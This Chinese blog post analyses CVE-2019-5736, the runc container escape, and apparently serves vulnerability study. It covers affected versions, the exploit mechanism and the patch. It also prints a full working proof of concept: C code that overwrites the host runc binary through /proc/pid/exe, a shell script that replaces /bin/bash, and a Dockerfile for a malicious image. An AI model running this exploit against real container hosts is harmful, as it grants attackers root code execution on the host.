CVE-2019-5736 runc容器逃逸漏洞分析

漏洞编号

CVE-2019-5736

漏洞简介

runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前Docker、Containerd和CRI-O等容器都运行在runc之上。

该漏洞允许恶意容器(以最少的用户交互)覆盖主机上的runc二进制文件,从而获得root权限在主机上执行代码。
漏洞可能影响通过受影响版本Docker部署的应用、虚拟主机、云服务器。K8s集群,含有受影响runc版本的Linux发行版等。

漏洞影响

  • Ubuntu:runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1之前版本
  • Debian:runc 0.1.1+dfsg1-2 之前版本
  • RedHat Enterprise Linux: docker 1.13.1-91.git07f3374.el7之前版本
  • Amazon Linux:docker 18.06.1ce-7.25.amzn1.x86_64之前版本
  • CoreOS:2051.0.0之前版本
  • Kops Debian 所有版本(正在修复)
  • Docker:18.09.2之前版本

利用条件

  1. 使用攻击者控制的镜像创建新容器
  2. 攻击者具有某容器的写入权限,通过docker exec或其他方式进入容器中

环境搭建

  • CentOS
  • gcc make 等C语言编译环境
  • Docker 18.09.0

漏洞分析

Docker 提供exec命令方便用户在宿主机与容器进行交互。如通过 docker run exec -it < CONTAINER ID> /bin/bash,可以进入容器在容器中执行命令,此命令实际上执行了容器中的/bin/bash文件。我们可以在容器内覆盖目标文件为#!/proc/self/exe,如下图所示:

又知Docker的很多操作都是通过runc去运行的,因此可以通过docker exec命令执行到被覆盖的目标文件,欺骗runc执行它自己。因此在容器外运行docker run exec -it < CONTAINER ID> /bin/bash会欺骗runc运行/proc/self/exe(runc)如下图:


此时/bin/bash已经被替换,并且成功欺骗runc运行runc。但runc进程不会一直驻留,因此编写一个Shell代码测试。

while true; do
  for f in $(ps -ef | awk '{print $2}'); do
    cmdline=$(cat /proc/${f}/cmdline)
     if [[ ${cmdline} == *runc* ]]; then
           echo   !!!!!!!!found runc in proc !!!!!!!!!!!!!
      fi
  done
done

在运行以上代码时通过docker exec执行容器中的/bin/bash,看到如下输出即说明欺骗成功:

此时由于runc在使用中,无法直接覆盖runc,因此需要使用C语言编写PoC。通过O_PATH标志,忽略权限打开runc所在/proc/${pid}/exe的二进制文件,获取其文件描述符fd。然后再从文件描述符中(/proc/self/fd/${fd})以O_WRONLY(只写)标志重新打开文件,然后在一个循环中重复尝试将Payload写入文件描述符中,写入成功后在runc退出的时候会覆盖宿主机上的runc文件。再次使用runc(执行docker exec等)即可执行恶意代码。

利用效果如下,在容器中执行Shell覆盖/bin/bash文件并监控进程:

在容器外执行容器内的/bin/bash后,容器内发现runc进程马上执行恶意代码写入Payload:

查看效果:

PoC

  • 拥有 docker exec权限,可构造PoC如下:

payload.c

#include <stdio.h>
#include <unistd.h>

int main (int argc, char **argv) {
  execl("/usr/bin/touch", "touch", "/hacked_by_Tunan", NULL);
  return 0;
}

poc.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"

int main(int argc, char **argv) {
    int fd, ret;
    char *payload, dest[512];

    if (argc < 2) {
        printf("usage: %s FILE\n", argv[0]);
        return 1;
    }

    payload = malloc(PAYLOAD_MAX_SIZE);
    if (payload == NULL) {
        puts("Could not allocate memory for payload.");
        return 2;
    }

    FILE *f = fopen("./payload", "r");
    if (f == NULL) {
        puts("Could not read payload file.\n");
        return 3;
    }
    int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);

    for (;;) {
        fd = open(argv[1], O_PATH); // O_PATH打开文件不需要对文件有权限
        if (fd >= 0) {
            printf("Successfuly opened %s at fd %d\n", argv[1], fd);
            snprintf(dest, 500, SELF_FD_FMT, fd);// 格式化字符串,将文件描述符写入dest中
            puts(dest);// 写入缓冲区
            int i;
            for (i = 0; i < 9999999; i++) {
                fd = open(dest, O_WRONLY | O_TRUNC); // 以只写的形式再次打开缓冲区中的内容,拿到fd(文件描述符)
                if (fd >= 0) {
                    printf("Successfully openned runc binary as WRONLY\n");
                    ret = write(fd, payload, payload_sz); // 写入文件描述符
                    if (ret > 0) printf("Payload deployed\n");
                    break;
                }
            }
            break;
        }
    }
    return 0;
}

poc.sh

#!/bin/bash

function poc() {
    echo '#!/proc/self/exe' > /bin/bash
    chmod +x /bin/bash

    while true; do
        for pid in $(ps -ef | awk '{print $2}'); do
            cmdline=$(cat /proc/${pid}/cmdline)
            if [[ ${cmdline} == *runc* ]]; then
                echo !!!!!!!!runc was found !!!!!!!!!!!!!
                echo pid:${pid}
                echo starting exploit
                ./poc /proc/${pid}/exe
                echo finish! run docker exec -it <CONTAINER ID> /bin/bash to see the effect
            fi
        done
    done
}

exec 2>/dev/null
poc
  • 如果没有docker exec权限,可构造恶意image,增加Dockerfile:
FROM ubuntu
RUN apt-get update
RUN apt-get install -y build-essential
ADD . /poc
WORKDIR /poc
RUN make
CMD ["./poc.sh"]

补丁分析

在github上进行commit diff对比,作者在commit描述中提到将/proc/self/exe(当前进程)指向一个重要的容器二进制文件不是一件好事。

补丁中增加了克隆二进制文件的相关处理,并且在nsexec()函数中增加了判断是否来自克隆文件的逻辑。

先看libcontainer/nsenter/cloned_binary.c202行的clone_binary()方法,创建了一个memfd(匿名内存),然后读取/proc/self/exe(runc)的文件描述符,将原始的runc二进制文件复制到memfd中,返回memfd

libcontainer/nsenter/cloned_binary.c250行定义了ensure_cloned_binary()方法中调用了89行的is_self_cloned()方法,打开/proc/self/exe文件,通过对文件描述符执行F_GET_SEALS操作是否成功判断是否为克隆文件描述符(F_GET_SEALS操作只能在memfds上执行成功)。

回到ensure_cloned_binary()方法中,如果is_self_cloned()的返回值大于0,都会直接返回。否则则执行clone_binary()创建克隆文件。

在程序入口 init.go中可以看到对github.com/opencontainers/runc/libcontainer/nsenter的引用,跟踪到runc/libcontainer/nsenter/nsenter.go看到其通过cgo引入了C代码:

根据cgo文档内容,一旦此包被引用,cgo的注释代码会立即运行。也就是每次runc运行时都会立即运行nsexec()方法。

libcontainer/nsenter/nsexec.c540行中nsexec()方法中执行了ensure_cloned_binary()的判断,小于0则抛出错误并退出以确保执行的runc是克隆二进制文件:

修复建议

  • Docker:更新Docker到18.09.2及以上版本
  • Ubuntu:更新runc到runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1及以上版本
  • Debian:更新runc到runc 0.1.1+dfsg1-2及以上版本
  • CoreOS:更新到2051.0.0及以上版本

参考

  • https://www.anquanke.com/post/id/170762
  • https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b#diff-c76fda6ad413becbb91b3db6f99f0f31
  • https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c
Comments
Write a Comment
  • Wayne reply

    作者你好:

    我们最近也在fix这个CVE,我通读了您的全篇文章,感觉很不错,但是验证的时候出现了问题。

    首先我在容器中运行脚本,发现系统在/proc/${pid}/cmdline下默认就会有一个*runc*的进程,这个进程每次都随机,但是容器内并没有跑runc程序,连包都没安装(我拉取的容器镜像就是centos)。我在ubuntu和centos和redhat物理机中同样发现了这个进程,所以有点迷惑。

    其次,我替换了bash之后,在容器外exec的时候,不会出现您测试的结果,而是出现:

    docker exec -ti runc-test bash

    /proc/self/exe: error while loading shared libraries: libseccomp.so.2: cannot open shared object file: No such file or directory

    故请教一下,您跑这个POC的测试环境是什么,可以share一下吗,不胜感激

    • 图南 reply

      @Wayne 你好,我的测试环境是CentOS 7 docker版本:18.09.0-ce。在其他人测试时发现ubuntu下的18.06.0版本docker也不能用此PoC触发漏洞,不知道你是不是这种情况。

  • Wayne reply

    跑sh脚本的时候,我自行测试的结果如下:

    cat: /proc/894/cmdline: No such file or directory

    cat: /proc/895/cmdline: No such file or directory

    cat: /proc/896/cmdline: No such file or directory

    cat: /proc/PID/cmdline: No such file or directory

    !!!!!!!!found runc in proc !!!!!!!!!!!!!

    抽取poc.sh的部分

    !!!!!!!!runc was found !!!!!!!!!!!!!

    pid:88409

    !!!!!!!!runc was found !!!!!!!!!!!!!

    pid:88409

    !!!!!!!!runc was found !!!!!!!!!!!!!

    pid:88409

  • kiwenlau reply

    博客图片404

  • swdfish reply

    您好,图破了。看不了,希望能修复下